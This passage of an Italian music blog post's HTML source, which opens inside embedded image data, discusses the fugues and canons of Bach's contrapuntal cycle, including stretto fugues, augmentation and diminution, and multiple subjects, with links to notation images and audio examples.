7zQPPZpNtQXyVFJr4fuPwU972QKXp5gphg1\/+jyP2Uf92m92zhKPdGyc9jN9nmWpRO8h9F6Cfo0\/8aSwPXIFf8oW71TFrKX8Q26VftWGN5gqPKmKgTNlOxZKZDurL7UN6KWH2Mo7zUOPZlNtgTyV1Fr1\/mP88ZEqcK+VMxdi2PCnz\/OA4E0f45\/OWeKRjo3TfqbPsyyVWHqK0s7\/k8KyPctBoGzxTlVMHuWfYcP1G1F4g6nCk6oYOFO2Y+G3Vc7qS80DeukhtvJO89Cj2VRbIE8ltZa8\/5hydqQK3CtfPYMNG\/v0SR6w0DmzdM4Sj3RsnPYzfZJlqcSAKVq08SeeFLZBqOCTbPFOVcwU5Z9Yx+g3zPAG+1XbIFUxcKZUx8KiZ\/VlCAN66SG28k7z0KPZbFtgdgmN1rv\/mHVwpArcfxKWNMywgU+f4TGrnDBL5yzxSMfGaT\/TZ1iWSvQuvmv7aWf+SWGrJwpuZIt3qmKmKP\/QOka\/YYY32K\/aBqmKgTOlOhYWPasvQxjQSw+xlXeahx7NZtsCs0totNL9x9xTI1Xg\/jPyiMxm2KinT++YJU6YpXOWeKRj47Sf6dMrSyV6V961\/bTT\/qSwpeME97LFO1UxU1R9dB2g3zDDG+xXbYNUxcCZUh0Li57VlyEM6KWH2Mo7zUOPZrNtgdklNNrz\/iOw00vvPVpuNvKIzGbYqKdP75glTpilc5Z4pGPjtJ\/p0ytLJXpX3rX9tNP+pLCl4wT3ssU7VTFTlH90HaPfMMMb7Fdtg1TFwJlSHQuLntWXIQzopYfYyjvNQ49ms22B2SU06n7\/AQAAAAAA0Czp\/UdbWYVdR81CeQ392m8wbOzl9ezX1\/SJHbO42bL02nSJp8\/tsXEaZsvcfipAlr7qXXPvx55+jT\/xpLDxQUo7jWQQG49s52SqYqYo\/PTaoK2Y8AF2almSl2OK6C3VsdD19B4zzDyTWSu28k7z0KPZbFtgdgmNFrj\/CDxNnpfRtYtag2egpJ79+sowqwNqyJal16ZLPH1ij43TMFvm9lMBsvTVgCeTRRt\/4klh41OUdhrJIDYe2Q7JVMVMcfOh9V6nYno026NlSV6OKaK3VMdC15N8zDDzTGat8AenwNa6NpttC8wuoVH2+4\/yw6X3GqQK3OvDzEwvab++MszqmGynytJr0yWePrHHxmmYLXP7qQBZ+mrAFC3a+BNPChuforTTSAax8ch2SKYqZopU72L9ug5vWZKXk23J2E+qjHU91ccMM89k1gp\/cApsrWuz2bbA7BIapb7\/+NTjnwX0DkSqwL3ql2NMSfv1NX3RByxrwiy9Nl3iDLN6ZpyG2TK3nwqQpa8GTNGijT\/xpLDxEUo7jWQQG49sJ2SqYqZINQP9iglvWZKXk23J2E+qjG3w+J1nMmuFPzgFtta12XO2QFd57z8+dfep696ByBa4wmkZXNV+fU1f9DHBzpal16ZLLE7b2zK3nwqQpa96l9p7Cfo1\/sSTwsbnJ+00kkFsPLIdj6mKmSLVDPQrJrxlSV7Oco9nLCdVwDZ4\/M4zmbXCH5wCW+va7DlboKuk9x\/3X3x8arn3SfS7\/YnfxdROy8jC9utr+t7uuqxps\/TadIkzzOqZcRpmy9x+KkCWvupdbdf20071k8LGRyjtNJJBbDyynZCpipki1Qx0fcsOb\/CQqdvGik9orCVVwDZ4\/M4zmbXCH5wCW+va7DlboKtV7z8+\/VVbd+Ul3dfWr\/f3SiYWcFPYfn1lmNV+NaTN0mvTJZ4+scfGaZgtc\/upAFn6qnfBXdtPO9tPChuforTTSAax8ch2SKYqZopUM9D1LTu8wUOmbhvrPqexilTp2uDxO89k1gp\/cApsrWuz52yBrjLef9x88dGpx5CqxiRybu9fa9uvrwyz2qmGzFl6bbrE0yf2zDhtucQZZvXALNXqXXDX9tPO9pPCxqdo8Pmzwa4JlH\/ssRVmW+5UxUyRagb6FRPesiQvJ9U7jrfCLaVaxA0ev\/NMZq3wB6fA1ro2e84W6Crd\/cenXkreurpm4lMNI99cm2dmjJE1DOtr+sR2WtzkWXptusTT5\/bMOG25xNMn9sws1epdc9f20074k8LGB2nw+RNlWM1d5R9IbIXZ1i5VMVOkmoF+xYS3LMnLSfUO4q1wS6lWpGslY4aZZzJrhT84BbbWtdlztkBXi91\/lPx5bY9Vhd38qvc7Zf6355FlDOtr+tz2WN\/8WXptusTTp\/fMOG25xNPn9sws1epddtf20875k8LGZ2nw+TPRsGGWy1nVb7EVZluIVMVMkWoG+hUT3rIkLyfV28GYt7xP5o59Y6mmt2slY4aZZzJrxVbeaR56NHvOFugq1\/3H87eTfitxU8OYd77877UjyxjW1\/S57bG++bP02nSJp0\/vmXHacomnz+2ZWarVu+yu7aed8yeFjc\/S4PMnoWHD\/3NCJvZeIrbC6RN+kaqYKVLNQL9iwluW5OVkO\/kXMnGi1pJqurpWMmaYeSazVmzlneahR7PnbIGulrn\/KG+hqsfa2m5+NeCdLPkb58hKhvU1fXo7LXHyLL02XeLpM3xmnLZc4unTe2aWavWuvGv7aaf9SWHj4zT4\/Elo2PD\/nJCJvZeIrXD6hF+kKmaKVDPQr5jwliV5OakO\/95vatPNmti5Uo29ayVjhplnMmvFVt5pHno0e84W6CrR\/UfIKd8vFjctj3xbyvwuOLKSYX1Nn97ekc6ZpdemSzx9hs+M05ZLPH16z8xSrd6V937e6Nf4E08KGx+nwedPTsNm4H1CZnVdKLbCubP9LlUxU6SagX7FhLcsycvJdvLz26yFiJVqLF0rGTPMPJNZK7byTvPQo9lztkBXC9x\/lLfQ0GlIyyPfYzK\/pY0sZlhf02e4d6RzZum16RJPn+Qz47TlEk+f4TOzVGvAI8GijT\/xpLDxiRp8\/uQ0bAbeJ2RW14ViK5w72+9SFTNFqhnoV0x4y5K8nFSHf9e3s0NMWbh7qQrrWsmYYeaZzFqxlXeahx7NnrMFuspy\/xF4\/v73J+GH+E07g98w0r4\/jSxmWF\/TZ7jrKqfN0mvTJZ4+yWfGacslnj7DZ2apVu\/iu7afduafFDY+UYPPn5yGzcD7hMzqulBshXNn+12qYqZINQP9iglvWZKXk+r87\/dexo0xy9q7l0JdKxkzzDyTWSu28k7z0KPZc7ZAV93vPwAAAAAAAJolvf\/o0XLhn8dO1qe\/ClmGtnoG9\/hVSDGFyzds4NNneMAqJ8zSa9Mlnj7JZ8ZpyyWePsNnZqnWgClatPEnnhQ2PlGLdlfyMFYupKS2UczqulBshdkOzHPeED9JVVi\/YsJbPjbJ6\/o9rKc3sQAAHCVJREFURdPfAgJ7jH0rPFbgWoQ09VzXSh42XrgieSbzt5GJ+ukxsLWuzZ6zBbpa+\/6jcIeE7Jw\/X\/+kwedS7YHXkMN6\/GxPn+Exg82WpdemH5unT\/KZcdpyiafP8JlZqtW7+K7tp535J4WNT9Te3V26nvvA9mdJs7ouFFthtgPznDfET1IV1q+Y8JaPTfK63qdo4rvA3PX6+g3GgQInNqSp57pW0tz4lHWJMqvyTvPQo9lUq5anklp57z+a6+m0ed5f3NxUoIldv2uupPfaPTF9eocNNlWWXpt+bJ4+w2fGacslnj69Z2apVu\/Ku7afdtqfFDY+Tnt3V2JiSQln4yK2wmyn5TlviJ+kKqxfMeEtH5vkdf05RVM+uX8qZqL7etq+BllL1DRGNfVc10oaGp+4Ls\/NLb7TPPRoNtuqzS6h0ar3H2375MnmeX9xQyPh5vZ+0VZJ74V7aPr0Dhtsqiy9Nv3YPH2Gz4zTlks8fXrPzFKt3pV3bT\/ttD8pbHyc9u6uxNyH5FldF4qtMNtpec4b4iepCutXTHjLxyZ5XZ+m6MwP7xedNshCAkcd0tRzXSupbXzuujw0vfhO89Cj2Tyr9sp3zJabf\/\/REOjmfVI7hJvh1P55Pxlq+E9DGb1X7bnpczt4sNPH+2PLJZ4+vWfGacslnj63Z2apVu+yu7afds6fFDY+S3t3V2JiSQln4yK2wmxH5TlviJ+kKqxfMeEtH5vkdd1P0Wkf3i\/G1HPTy5PvW0JEDTCqqee6VlLV+PR1eSJD8Z3moUezSVbtP3kqqbXe\/UfJZnhv5Pn++f3K8I1XpWS8swqrff0TnUbxXuSYjm4K6FdD2iy9Nv3YPH1uz4zTlks8fWLPzFKt3jV3bT\/thD8pbHyQ9u6uxMSSEs7GRWyF2c7Jc94QP0lVWNe37PAGD5m6bdxP0eDP79nWa8VR\/\/HNywOBJYU09VySx+8M69IsSfGd5qFHsxlW7UeeSmrtc\/9R0vWTLfTzsvBdV+VmCLNK+l1b7euf6DSK9yLHdHRTQKcaMkzvfXmbdTS4r08FHBinLZc4w6wemKVavQvu2n7a2X5S2PgU7d1diYklJZyNi9gKsx2S57whfpKqsH7FhLd8bJLX9XWKRj7IZVuvMfVMH3XvR\/dUx0KSx+\/7T0xf9RvCQsV3mocezWZYtR95KqmV8f6jtoZPr3zeyM1ffX19D7eHwMzCfsqrevET4ZV\/6mLulL66nXTJs\/Ta9GNzhlk9ME5bLrEsLeF5tfcz0HU20k71k8LGR2jv7kpMLCnhbFzEVpjthDznDfGTVIX1Kya85WOTvK6SKRr2FJdtvcbUk23UP6IKS3UsZHj8LvnElPbDVJ7im1u7L6zHDI9fuJsxTo9Qs+XvPxp6rx3I5a++jqiTT2XXDqRrhVUvfiKq4Mzz+bvIHm0mH\/uw3kcOU5ym2HKJZWkJzaUWTkLXqUg7z08KG5+fvbsrccjh3ya2wmzH4zlviJ+kKqxfMZ0eBmLbfCJVMTkVTtGYlc22XmPqyTbqH1GFpToWMjx+l39o+vQhYqI8xde2VlhejxketnDjV2Gkte8\/vr6yaiwldd6\/pqvCIE4ssqrr8uH0GODg7p6X2qPN5GMf1vvIYYrTFFsusSwtoaHU8knoPRVp5\/lJYePzs3d3JQ45\/NvEVpjteDznDfGTVIX1K6bTw0Bsm0+kKianwika8xSXbb3G1JNt1D+iCkt1LGR4\/K79vDDms0OhPMWXNzh9kges3dwBjnHo\/Udtv6\/ZbypVWZxValW\/tSOKGtqUTp8XHN5g\/rEP63rkGOdm6XVqnLZcYlkK7LqfqjprZ6D3PKSd5CeFjQ\/P3t2VmFhSwtm46HGKBjb40DlviJ+kKqxfMeEtH5vkdRVO0ZhHuGzrNaaebKP+EVVYqmMhw+N326eGJHOYp\/iSNvOU2m\/5koxxgIXvP0pajup3uobJH1leQ6dFWyp6gRo6nZ6N8AJqxzhr+MP6HTnAuVl6nRqnLZdYlqbPQInyIsvfjwrnZ2Txgz0prPek\/dnjxt2VmFhSwtm46HGKBjb40DlviJ+kKqxfMeEtH5vkddU+7SQpZowx9WQb9Y+owlIdCxkev1N9ZKiVp\/ivLTeU2qngfvOQZ4wDuP9YY\/2WCFxtScU7K2awVd3lmerwArIN8JNhVY0c\/vSpPjNOWy7x9Hk+M0u1CofQ9sbUe4rSzv+Twsbnau\/uSkwsKeFsXPQ4RQMbfOicN8RPUhXWr5jwlo9N8rrKp2jA4mZbrzH1ZBv1j6jCUh0LSR6\/k3xeaJOk+PvGq4rsXXPXZpOMcYD59x\/vLRe+srDZkH6nWyJtDVUN21clHfWu4Unl4Q0mGd2NYYWNnIHps31mnLZc4ulTfWaWapWMIu3bU9oleFLY+Gjt3V2JiSUlnI2LHqdoYIMPnfOG+EmqwvoVE97ysUleV\/kUDVjcbOs1pp5so\/4RVViqYyHP4\/fcTwoPZSj+pouS8kZW3qPZbGMcwP3HGuu3RNqaqxqwne42boHYYhoqD28wyehuDCts5AxMn+0z47TlEk+f6jOzVKtkFGnfntIuwZPCxkdr7+5KTCwp4Wxc9DhFAxt86Jw3xE9SFdavmPCWj03yusqnaMDiZluvMfVkG\/WPqMJSHQvZHr8Hf0CINbf4m74aPpR1HUKPZrONcYDu9x8AAAAAAADNkt5\/tDVe8srCZkM6zSB\/tTmrei1+sdmjhrkDLJzzYYWNnAFxmmLLJZ4+1Wdm6beQd5DCRtoaf9LpK0HGPnlS2JN5a+5x4+5KTCwp4WxcxFY4Pt73hhWTatS\/pSqsrZiub0b3nca2+USqYnIqn6IBi5ttvcbUk23UP6IKS3UsdK0kzzBP8Gm2C9\/7xrwn\/i4pvMFUYxxg4fuPksZLKlxoCZNXm7Oq17O9Pbv2Xm\/2U8aYc\/IHz8Cwvj4VsE2cym25xNOn+sws\/SfwHKs9FR\/Oz4AuBnhS2Phx7d1diYklJZyNi9gKs23bYcWkGvVvqQqrLWbim8WxSV5X+RQNWNxs6zWmnmyj\/hFVWKpjoWsleYZ5gk+zXfuJqd8b4qWk8AZTjXGALPcfl\/YLX1nY5vMe88hcc8KS\/rP0xu5XyciRZp7\/kQs9PVR7xKnWlks8fZ6PzVLsUdbWYMPMjOlljCeFjR\/X3t2VmFhSwtm4iK0w27YdVkyqUf+WqrDyYqa\/Xxyb5HXVpitJMWOMqSfbqH9EFZbqWOhaSZ5hnuDTbLe9D\/YORo+32lRjHCDR\/celi8JXlrzsa19rrWLamhOW9J+ld3XXesaMt2H+R67CyOWeHq0N4tRgyyWePs8HZqnHURbb2sjKJ3pS2Phx7d1diYklJZyNi9gKs23bYcWkGvVvqQorLCbD+8WxSV5X+RQNmMxs6zWmnmyj\/hFVWKpjoWslgY2nmrR7sz56fOpx7pvgTUnhDaYa4wCr3n+Ud\/HpBUsvZM7Ks9Xz27obu3dJvUddNfNTFmLkik9P1+pxarPlEk+f5NOy1O8o630q9qt8lieFjR\/X3t2VmFhSwtm4iK0w27YdVkyqUf+WqrCSYpK8Xxyb5HUVTtGYlc22XmPqyTbqH1GFpToWulay93H6p4lF3vQ76x3wvp4ebeYZ4wC57j8uvVT9yc1vQ3rJJmH9qYp5t+iuHlBYv+GXzPn05Ri57tMztnScmm25xNNn+Kgs9T7K+p2HvSuf4klh48e1d3clJpaUcDYuYivMtm2HFZNq1L+lKuxrMXneL9ZKcvJ3zDEKhz9morKtxZh6so36R1RhqXZZ10rCG898Rk2vrfB4H\/Pe97XUHt2lGuMA6e4\/Lh01\/HlJGdssZ6oh5KnkxnJbeliFPToqOU9vxBZzU+SYjgb39amAdePUbMslnj69R2VpzFHW4xgcU\/lgTwobP669uysxsaSEs3ERW2G2bTusmFSj\/i1VYV+LyfN+sVCSl3jTHKBw7GOmKNtCnDnqH1GFpdpiXSvp0XjCYypJSSW9937LK9S13yRjHCDj\/ccrdD+8N7L9os5iPntYN6ifToxCA4r5+VVsX\/dlDOvrUwHTaxhv3SVOktub2ubWMEaqo+zkyn\/\/9mHLETVW9LhxdyUmlpRwNi5iK5wS705btbaMMR3VGl\/YzYrcF9P4PvG26IGjiG2zpMeGJHedh4WUjH3YFGVbiDNH\/SOqsFRb7HklN2dOv2FmOK8y1HCpZ3YJpZLM2OqS3n9cumtu5L2MVPttM6a0h3Wz+unEKDSyhpC+CusZ1tenAqbXMN5yS5wttzdFzq1hjKqDK9UyLVd5YVVPahs\/tL27KzGxpISzcRFb4bB4D9iqtfWM6ajWyBl4eKoXttDQcvNwYtu86ejr0G6K6ToPCykZ+8hlHdBLuTNH\/SOqsFRbrLmSKSdqSQH9epzVaaEkZZTIM2lLy3v\/cen0YSOX1kSnB7Paw7px\/fbOfmdw78+7K69qWF+fCphew8WAkhZa4py5vSl1bg1jVC1KwjVaovJh5Y0f3d7dlZhYUsLZuIitcEC8c54kaRd6QGFRy1G7sl1XeUB4osbYeypWUTL2YfOTbSHG1JNt1D+iCku1xRoqmXuoNtSTsOUestVzI+HsrSj7\/cel3+ctCE0\/5raHdUP79c2v05vilE7LaxvT0U0B02u4GFDSyCE395U5tzcFTyxgmLalyTA5S1Q+uMIpA9y4uxITS0o4GxexFXaNd+bDJO1Cdy0sdkXaWus0wK7hCR9m16lYRarhpyrm5f7j+PuPPEdrVG3NxgyqSs6q\/pR2DteywP3He+8j\/5ZypreHdXM75U2xodORMzx9KSfG6VPXA0oaOeS2vpLn9qbmiQUMs9a6\/Ja\/8oYKH9Y5fph7d1diYkkJZ+MitsJ+8R6\/VWvLG9NRrX6Fha9IqsXt1374vPGfVFOUqpiX+4+z7z9WOXOa60w4lipPyhs8tAGTucSSPbTM\/cefNQS+mOdMcg9Lp3fwW2NVd1POh+lLOTFOn7oeUNLIITf0lT+3N2VPLGCkVRblXebKq2qLKnX8SPfursTEkhLOxkVshZ3iPWWr1lY4pqNanQrrtCJ5VrZTF53mjVeyPZiqmJf7j4PvPxY9c56UnaH+Kg9LHTnY3n2ttXDNFrv\/+FrMp\/JOWMvpTHIPq59Ew94gy8+EfjWUFDmmo5sCZtXwqesBJY0ccm1fS+T2pvKJBQyWfDlu5Ky8PfTPCh4\/3r27KzGxpISzcRFbYY94z9qqtUWO6ahWj8K6rkiSNe3RUdd5I9UUpSrm5f7j1PuPzc6chUqt8rz+YfPQqZdtlrLQqvcftT2es6ITmeEe9ojugDfLm3flErHF3BQ5pqObAmbV8KnrASWNHHJtX0vk9qbyiQVMkW0VymWrfFbyxw987+5KTCwp4WxcxFbYI96ztmptkWM6qtWjsAErMnEpfxfQo82u83ayVFOUqpiX+w\/3H86cxGLz2XXtwhs\/M2\/d7z8AAAAAAACapbv\/SGWhUnPqmkJ4aMrpWVvAK\/G\/mzPAp6kecHSkXeKGrF66gxXtkfzCUgcXnGd+fkwsaW7XCeNRq3mT\/gxwWJ3D+vrd6fhJWGVFsjFvTyw3S6mKefnvf2Qt7Imvg3LmZDBltnOuac6qpnD\/wReFB4cZZqKqlMaGdnB36\/o0\/N8\/7zQ\/D5vtt8S1LQsSe1g9+Zlrvulu1gROXLVZ400bj1q1Y0kY+07dzZqHVVYkG\/PWZtGJ+lTMrDrHdJpqCX5LW9gTXwflzJkrw4RPX+LpBeR0yv3Ha9PDt6uqg2O5PLCTtqw+jKsNUuXT8AfMT3OzvZe4rf2TU8Qe1k1+\/rJvups1hxMXbvzkJ49HrbYRjR\/UsB6nz8YqK5KNeau19HR9qmRWkWM6zTP\/F2kLe+LroJw5sySc9n6VpBrmKmK+qelXX6CFSs2gdjutFQY2Mz6oNkity\/BHzk9bswOWuGvjkNaiyW8oe3zxN93NmsmJyzey6yXiUWuV4YzpN8MSr7Ii2Zi3Kg3TlWrSPlUyq8gxneaZ\/4u0hT3xdVDrbp+lZT67mmsLMWCAq4j8pqZflSGWKDIJu4vljEypDdJg4vw0NDtsifu1DJktl\/yqgifWf9PdrMmcuILDul4lHg2WGMuArvMs8RIrkpB5K1Q1UTnn7VMls4oc02me+b9IW9gTJYNace8sbaGz60mpaQe1iuB\/U7VfoX\/W0PC3nQrbiZ3Gosbk0wZpMHd+apsdvMSzpgXmWij5z44E9x87fy3+WioebfKPoncB2ZY4\/4rkZN6+epb0LLP3qZJZRY7pNM\/8X6Qt7InCQS20a1a37tn1sPIko1hIl\/+lji6FPu5OLAo92nZmmNl6x9IGqZJhfmqbnbLE0sKZlkj+lDOhudT7UYws5qff8Z2O7HqheDyRufjeleRc4swrkpl5u5Ez6rU+VTKryDGd5pn\/i7SFPVE1qMybZRt7nF2f5K9wIb3+l8qDqwzqTnS+ajsyOq07ZGOD1Bo2OTdtVjVuiYHfEp4JNx3d9DjrjOrdadtsdO19bjwO1HUmLTGHWCvqNzV8KmbWlhzTadrTJm1hT2w5qHWtdXYxV8dvhcJKjOtOvr+qXeVOiw452SC1es9MePuta\/t0IEBOec6Ehz3OOqM6dTp+\/p+UMau8Q3SdSUvMIZaI+pNiZm3JMZ2mPW3SFvbEloNa1xJnF0n0\/VYopsS4vkT8q4ZVjl1uyMwGqfV1Nponp9PkW2LgtwxnQkins46p8E6nLEFIMYNrO0fXybTEHCJ51J\/XM2tXDpufAb00SFvYE1sOal3Jzy5SGfGt0KP6QjuS8q+mrDKswgap9XUeGuan6xJYYuC3uWdCYNezTqrATicuRGxJUxZiY13n0xJziLRRj6pq1sYc02naMydtYU9sOah1pT27SCj7vxUb24ugfzVycWE5Nkitnxn4NBu1s9SwBFVdWGLgt4lnQkPXNwV8+lXvoyyq5djZiJKtnjN1nVVLzCFyRr2hqk+13f+833CGTdSAXhqkLeyJLQe1rpxnFzk1rv2wkMV2IeslBiwrrMsGafNpQqomqmrym9fCEgO\/TTkTqjotqeH9V2NOs5CWw2cjUKpiztR7Yi0xh8gW9ap6vpb3\/vMxIxo2VwN6aZC2sCe2HNTSsp1dpDX0M0nXxkvaF\/dCDg64YYM0+DQt5dNV9XbwcEUsMfDb4DPh2Wn35f5j8Jn2vOUesxErSRnHGjC9lphD5Il6SSVVRf78fPC4xsxY2iMobWFPbDmo1eU5u8hs9Ke1Hm0WNi70tZwacMMGqfJpft5\/XnXsNyuv2RID\/wk\/E3oectcKS142oJh\/n2dsbu\/PDe5uUUuvsiXmENO3VbiSjkbWM0bm5Rhpy0HxJ0vDvS5pCDwaAg8d6QeY5dMJ\/P7zqmO\/2ahxA3w08rgredmAYv7te\/9BCasM\/DbsTCh5zbB6xsi8HCNtOSigwZz\/v7iodsrbdCoBTPTpEC48nFufRVvedAAm6nTc3f9JwzlZWMzDE7jTbLATCw2b6XHy37++7RjJ806U9hhMW9gTWw4KTjDtfy\/1eQvlDY587wHg3adDuPBwLnwjePh2AzBdp+Pu\/sVVR+XIQ7jTbLATaw2b6XHy37+y9hjJ9mbU1suA8rY8n7ccFJxg2v+B1ZO\/rW1t2BsPAH\/6dA7\/\/vnNQV31MWPwRw6AQJ2Ou\/uXFZ6W48\/hTrPBTiw3bKbHyX\/\/mvJjJOdbUlsXA2rb8nzeclBwgqFbt\/ltoPm9ZNhbDgA3Ph3FhUd6wk8aAD10Ou6+nrE9Cnt+Gg\/ujhVZdNhMj5P\/\/mWFx0hDYWPemO67+FTDgNq2PJ+3HBScYPL\/+1DzH5a\/yTmeAKa7nMYNHw9SfcwA6KfHcXf\/4q\/tVJUUeyCP7IsVWXfYT\/jJf\/\/KkkaqShr83nTfxacaBtS25fm85aDgBBO2bvM7QfkfDnunAaBEyMeDDB8wAAYIP+7u\/+S+tcIDvN+xPKYXFmX1YUuxJ\/\/967821foGOOgd6r6LTzUMqG3L83nLQcEJpm3d5jeDJO8xABSK\/XjgzAcOEXjc3f\/tfbPlZ3jX89nhz5\/EADYWdfI\/eRP8VMb498G2+j\/VMKC2Lc\/nLQcFJ5i5dZ8cuLPeWgAol+3jAcCZ7s\/Y+1890Wc0nOU+WmIGfNX8JvhK8z5403hJ\/eU\/D7Tu+dw820Bati4AvYz\/bADAu\/uT9v5XT\/QZDUcoDJiYAV81vwm+Zr8PPu\/l0wtCyru33Pk8Zk2BKWxdAHrxEAmQwf1he\/+rZn2Gwv4kDYjV\/Cb4mvc+GNXRpxf8\/nmng3Sh83nYsgKz2LoA9PL1qdFDJMAA94ft\/a\/a9BkHmxM2oIfmN8HXjPfB2O4+\/Taq2vuB9Gg21uDFBWaxbwHo5euToidIgAG+fv1x\/4e+FGCApu+gRA74rvlN8DX8fTD8JLz8tkfNN133aDZQ+GwDadm3APTy79d\/q\/rPJ0VPkAADfP364+vf+kaArpq\/hJI64Ksnb4J\/vr7TidTjJBxQ9k3XPZqN0mO2gbTsWwC6+\/Sk6AkSYICfw7btk7zvAujqyZdQsgd89fBN8OYPA8+iHifhwz9\/PqIezYboMdtAZvYtAN19elL0BAkwQMgneV8B8NDD75sKzR4lkE7UuRFy5kSfeTGGFVY7XQ9tOSiggY0KQHefHg09MgIM4KM7GXT88kmYgc9SnRsDjsEqgwsbOdW7DgpoYKMC0N2nR0OPjAAD3H9odw4zkW+dgN7yvwmGn4S9j9De7XfVOs2pBwXcs3UB6O7Tw6KHSIAB7j+9O4eZyJdQQG\/53wTDT8KvL24+RZ\/XNl34bAP52b0AdPfpedFzJMAA95\/bncNM5EsooLf8b4LhJ+HXlzUcpLEVThQ+20B+NjAA3XlkBEjL+cxEvoEC5spwqoSfhD8v+PTi2uO0ocK0J\/YeowCq2MYAdOfBESAt5zNz+RIKmCjJwdLpJPz0+qp2qmpb4tDeYAhAFTsZAADO5bM90\/kGCpglz\/HS4yT89FflrVVdFSx0dC9dPFDLfgYAgHP5hE8Svn4Cxst2zsSehJ\/+vLzZ2guPtc7wFWsGGtjYAABwLh\/1ATjW3m+CD+8\/9r78AM7hPAIAgHP5hgKAY+39Juj+A+Dl\/gMAAE7mGwoAjrX3m+DE+48OowFo5EgCAIBz+ZICgGPt\/SZYcv9xMwMuP4A9OJUAAOBcvqcA4Fh7vwne3398va5w8wHswdkEAADn8m0FAMfa+03wcifRcGnh8gPYgOMJAAAAALYScm\/h5gNYnUMKAAAAAPYR+9\/bcO0BrMtpBQAAAAA7KL\/5cI0BnMAxBwAAAAA7cPMB8JvDDgAAAAB24PID4DfnHQAAAADs4OuFh\/sP4CjOOwAAAADYwdf\/nof7D+AozjsAAAAA2MHP3Yb7D4CX+w8AAAAA2Iz7D4CX+w8AAAAA2Iz7D4CX+w8AAAAA2Iz7D4CX+w8AAAAA2Iz7D4CX+w8AAAAA2Iz7D4CX+w8AAAAA2Iz7D4CX+w8AAAAA2Ix7DoCX+w8AAAAA2Iz7D4CX+w8AAAAAAGA\/7j8AAAAAAIDduP8AAAAAAAB24\/4DAAAAAADYjfsPAAAAAABgN+4\/AAAAAACA3bj\/AAAAAAAAduP+AwAAAAAA2M3\/AS9ZRz6bDx+gAAAAAElFTkSuQmCC\" width=\"691\" height=\"135\" \/><\/p>\n<p style=\"text-align: justify;\"><i><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-12.mp3\">Bach 12<\/a><\/i><\/i><\/p>\n<p style=\"text-align: justify;\">Se le prime due Fughe non presentano particolarit\u00e0 di rilievo, gi\u00e0 dalla terza si incontrano procedimenti tecnici piuttosto elaborati. La terza e la quarta, per esempio, hanno le tematiche rovesciate e la terza comincia con la Risposta, mentre la quarta con il Soggetto.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-232 alignnone\" alt=\"Bach 13\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13.png\" width=\"774\" height=\"186\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13.png 2690w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13-300x71.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13-1024x245.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13-624x149.png 624w\" sizes=\"auto, (max-width: 774px) 100vw, 774px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><i><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-13.mp3\">Bach 13<\/a><\/i><\/i><\/p>\n<p style=\"text-align: justify;\">Seguono tre Fughe dette <i>in stretto<\/i> poich\u00e9 le entrate tematiche ravvicinate, dette comunemente Stretti, compaiono gi\u00e0 nell\u2019Esposizione. In particolare la sesta Fuga (\u201cin stile francese<i>\u201d<\/i>)<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-141.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-242 alignnone\" alt=\"Bach 14\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-141.png\" width=\"774\" height=\"269\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-141.png 2686w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-141-300x104.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-141-1024x356.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-141-624x216.png 624w\" sizes=\"auto, (max-width: 774px) 100vw, 774px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14.mp3\">Bach 14<\/a><\/p>\n<p style=\"text-align: justify;\">e la settima (\u201cper<i> Augmentationem et Diminutionem\u201d<\/i>) si presentano in tutto il loro magistero contrappuntistico, unendo gi\u00e0 nell\u2019esposizione temi diritti con temi rovesciati, sia con valori normali, che dimezzati, che raddoppiati.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-243 alignnone\" alt=\"Bach 14a\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a.png\" width=\"790\" height=\"577\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a.png 2741w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a-300x219.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a-1024x747.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a-624x455.png 624w\" sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-14a.mp3\">Bach 14a<\/a><\/p>\n<p style=\"text-align: justify;\">Seguono poi Fughe doppie o triple, cio\u00e8 con due o tre Soggetti: \u00e8 da qui che vengono aggiunti altri temi, talvolta trattati anche come Controsoggetti.<\/p>\n<p style=\"text-align: justify;\">E poi una serie di Canoni alla decima, alla dodicesima, per <i>augmentationem<\/i> <i>in contrario motu<\/i>,<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" 